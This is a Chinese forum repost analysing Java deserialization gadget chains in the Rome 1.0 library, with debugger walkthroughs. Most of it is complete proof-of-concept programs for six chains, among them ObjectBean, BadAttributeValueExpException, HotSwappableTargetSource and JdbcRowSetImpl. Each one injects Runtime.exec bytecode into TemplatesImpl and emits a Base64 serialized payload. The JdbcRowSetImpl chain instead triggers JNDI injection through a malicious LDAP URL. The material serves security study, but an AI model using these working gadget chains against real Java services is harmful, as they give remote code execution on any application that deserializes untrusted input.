去皮卡多 发表于 2024-5-16 20:27:42

Rome反序列化链分析

环境搭建

<dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>
</dependencies>ObjectBean链

先看看调用栈:
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* EqualsBean.beanHashCode()
* EqualsBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)先给出poc,然后一步步调试分析
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
      // 序列化
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(bos);
      oos.writeObject(hashMap);
      // 反序列化
      ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
      ObjectInputStream ois = new ObjectInputStream(bis);
      ois.readObject();
      ois.close();
      return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
      byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
      String s = new String(bytes);
      System.out.println(s);
      System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field f = obj.getClass().getDeclaredField(fieldName);
      f.setAccessible(true);
      f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "EvilCat" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      byte[][] bytes = new byte[][]{ct.toBytecode()};
      TemplatesImpl templatesImpl = new TemplatesImpl();
      setFieldValue(templatesImpl, "_bytecodes", bytes);
      setFieldValue(templatesImpl, "_name", "a");
      setFieldValue(templatesImpl, "_tfactory", null);
      ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
      ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
      Map hashMap = new HashMap();
      hashMap.put(objectBean, "x");
      setFieldValue(objectBean, "_cloneableBean",null);
      setFieldValue(objectBean,"_toStringBean", null);
      ByteArrayOutputStream bos = unSer(hashMap);
      Base64Encode(bos);
    }
}在readObject处打个断点开始调试
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409165724766-766658607.png#height=62&id=LiGQK&originHeight=123&originWidth=1185&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=599.7142944335938
进入HashMap的readObject
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409170019512-1630115320.png#height=99&id=iTd41&originHeight=186&originWidth=1126&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=599.7142944335938
跟进hash方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409170039091-1901617693.png#height=121&id=r9iUC&originHeight=232&originWidth=1145&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=598.7142944335938
跟进hashCode方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409170138982-1056779789.png#height=114&id=D81oc&originHeight=199&originWidth=1041&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=595.7142944335938
来到ObjectBean的hashCode方法,_equalsBean是EqualsBean的实例对象,跟进它的beanHashCode方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409170559750-688830912.png#height=83&id=CE8ch&originHeight=195&originWidth=1414&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=603.7142944335938
_obj是ToStringBean的实例对象,跟进它的toString方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409171110407-1215509166.png#height=211&id=c9C9u&originHeight=573&originWidth=1626&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=598.7142944335938
进入另一个有参方法toString
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409171151055-148936548.png#height=234&id=N6yR3&originHeight=652&originWidth=1667&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=597.7142944335938
this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors,跟进
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409171345852-816166360.png#height=126&id=yZOOH&originHeight=350&originWidth=1681&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=603.7142944335938
这里就很怪了,看其它博主的调试文章说是像是fastjson的任意get,set方法调用,在hashMap进行put时会进入getPDs方法,但我经过实际调试确是没法进入这个方法,我跟进的是进入invoke,_obj是我们的TemplatesImpl的实例对象https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409172922099-1493782556.png#height=74&id=bZeVe&originHeight=124&originWidth=1018&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=610.7142944335938
进入invoke后,往后会调用到NativeMethodAccessorImpl的invoke方法,这里的method是Templates的getOutputProperties方法,var1是我们的TemplatesImpl对象
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409173326562-2064216129.png#height=160&id=T4LYM&originHeight=455&originWidth=1729&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=609.7142944335938
进入invoke0,就会调用TemplatesImpl的getOutputProperties方法,但是为什么不会弹盘算器,这是一个谜,到反序列化的时候,追踪到调用toString的时候才会触发,有师傅知道为什么,贫苦在批评区告诉一下wuwuwu
HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化,由于最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class HashTable {
    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
      // 序列化
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(bos);
      oos.writeObject(hashMap);
      // 反序列化
      ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
      ObjectInputStream ois = new ObjectInputStream(bis);
      ois.readObject();
      ois.close();
      return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
      byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
      String s = new String(bytes);
      System.out.println(s);
      System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field f = obj.getClass().getDeclaredField(fieldName);
      f.setAccessible(true);
      f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "EvilCat" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      byte[][] bytes = new byte[][]{ct.toBytecode()};
      TemplatesImpl templatesImpl = new TemplatesImpl();
      setFieldValue(templatesImpl, "_bytecodes", bytes);
      setFieldValue(templatesImpl, "_name", "a");
      setFieldValue(templatesImpl, "_tfactory", null);
      ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
      ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
      Map hashTable = new Hashtable();
      hashTable.put(objectBean, "x");
      setFieldValue(objectBean, "_cloneableBean",null);
      setFieldValue(objectBean,"_toStringBean", null);
      ByteArrayOutputStream bos = unSer(hashTable);
      Base64Encode(bos);
    }
}链子流程跟上一个一样
BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的,他的readObject方法中有toString,因此可以直接连着Rmoe链的ToStringBean,这样也是可以触发的
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;
import java.util.Map;

public class BadAVEE {
    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
      // 序列化
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(bos);
      oos.writeObject(obj);
      // 反序列化
      ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
      ObjectInputStream ois = new ObjectInputStream(bis);
      ois.readObject();
      ois.close();
      return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
      byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
      String s = new String(bytes);
      System.out.println(s);
      System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field f = obj.getClass().getDeclaredField(fieldName);
      f.setAccessible(true);
      f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "EvilCat" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      byte[][] bytes = new byte[][]{ct.toBytecode()};
      TemplatesImpl templatesImpl = new TemplatesImpl();
      setFieldValue(templatesImpl, "_bytecodes", bytes);
      setFieldValue(templatesImpl, "_name", "a");
      setFieldValue(templatesImpl, "_tfactory", null);
      ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
      BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
      setFieldValue(badAttributeValueExpException, "val", toStringBean);
      ByteArrayOutputStream bos = unSer(badAttributeValueExpException);
      Base64Encode(bos);
    }
}由于不需要hashCode了,以是hashMap和objectbean也就不需要了,直接上ToStringBean,调试流程就不写了,由于没啥太大改动
HotSwappableTargetSource链

这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段,这里留意加个org.springframework.aop.target.HotSwappableTargetSource的依赖
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class HotSwapp {
    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
      // 序列化
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(bos);
      oos.writeObject(obj);
      // 反序列化
      ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
      ObjectInputStream ois = new ObjectInputStream(bis);
      ois.readObject();
      ois.close();
      return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
      byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
      String s = new String(bytes);
      System.out.println(s);
      System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field f = obj.getClass().getDeclaredField(fieldName);
      f.setAccessible(true);
      f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass ct = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
      ct.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "EvilCat" + System.nanoTime();
      ct.setName(randomClassName);
      ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      byte[][] bytes = new byte[][]{ct.toBytecode()};
      TemplatesImpl templatesImpl = new TemplatesImpl();
      setFieldValue(templatesImpl, "_bytecodes", bytes);
      setFieldValue(templatesImpl, "_name", "a");
      setFieldValue(templatesImpl, "_tfactory", null);
      ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
      HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));
      HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);
      HashMap<Object, Object> hashMap = new HashMap();
      hashMap.put(h2, h2);
      hashMap.put(h1, h1);
      ByteArrayOutputStream bos = unSer(hashMap);
      Base64Encode(bos);
    }
}HashMap中的putval会调用equals方法,触发HotSwappableTargetSource的equals方法https://www.cnblogs.com/uploading...#id=Oz2A9&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240409182709082-1810473590.png#height=136&id=u5Ti3&originHeight=226&originWidth=1183&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=709.7142944335938
左边的target是put进去的h1,右边的target是put进去的h2,这样就会调用XString的equals方法,触发toStringBean的toString方法,链子闭合
JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法,那实在也就和TempaltesImpl链思绪是一样的,只是在不能使用TempaltesImpl时可以进行替换,这个类在Fastjson中很常见,用于JDNI注入,那么这样也是一样的进行JNDI注入,以是得留意jdk版本,不能高于jdk191,启动一个恶意LDAP服务
package org.example;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.Base64;
import java.util.HashMap;

public class Jdbc {
    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
      // 序列化
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(bos);
      oos.writeObject(obj);
      // 反序列化
      ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
      ObjectInputStream ois = new ObjectInputStream(bis);
      ois.readObject();
      ois.close();
      return bos;
    }
    public static void Base64Encode(ByteArrayOutputStream bos){
      byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
      String s = new String(bytes);
      System.out.println(s);
      System.out.println(s.length());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
      Field f = obj.getClass().getDeclaredField(fieldName);
      f.setAccessible(true);
      f.set(obj, value);
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {
      JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
      String url = "ldap://127.0.0.1:1099/evil";
      jdbcRowSet.setDataSourceName(url);
      ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
      EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
      HashMap<Object, Object> map = new HashMap<>();
      map.put(equalsBean,"xxxxx");
      ByteArrayOutputStream bos = unSer(map);
      Base64Encode(bos);
    }
}EqualsBean链

通过HashSet来触发EqualsBean的equals,调用到getter,任意get方法调用触发TemplatesImpl
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

/**
* Hello world!
*
*/
public class App
{
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
      Field f = obj.getClass().getDeclaredField(field);
      f.setAccessible(true);
      f.set(obj, arg);
    }
    public static void main( String[] args )
    {
      try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("i");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
            byte[] bytes = ctClass.toBytecode();

            TemplatesImpl templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            EqualsBean bean = new EqualsBean(String.class, "s");

            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy", bean);
            map1.put("zZ", templatesImpl);
            map2.put("zZ", bean);
            map2.put("yy", templatesImpl);
            HashSet table = new HashSet();
            table.add(map1);
            table.add(map2);
            //table.put(map1, "1");
            //table.put(map2, "2");
            setFieldValue(bean, "_beanClass", Templates.class);
            setFieldValue(bean, "_obj", templatesImpl);
            unSerial(table);
      } catch (Exception e) {
            e.printStackTrace();
      }
    }
    private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
      ByteArrayOutputStream bs = new ByteArrayOutputStream();
      ObjectOutputStream out = new ObjectOutputStream(bs);
      out.writeObject(hashMap);
      ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
      in.readObject();
      in.close();
      return bs;
    }
    private static void Base64Encode(ByteArrayOutputStream bs){
      byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
      String s = new String(encode);
      System.out.println(s);
      System.out.println(s.length());
    }
}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Rome反序列化链分析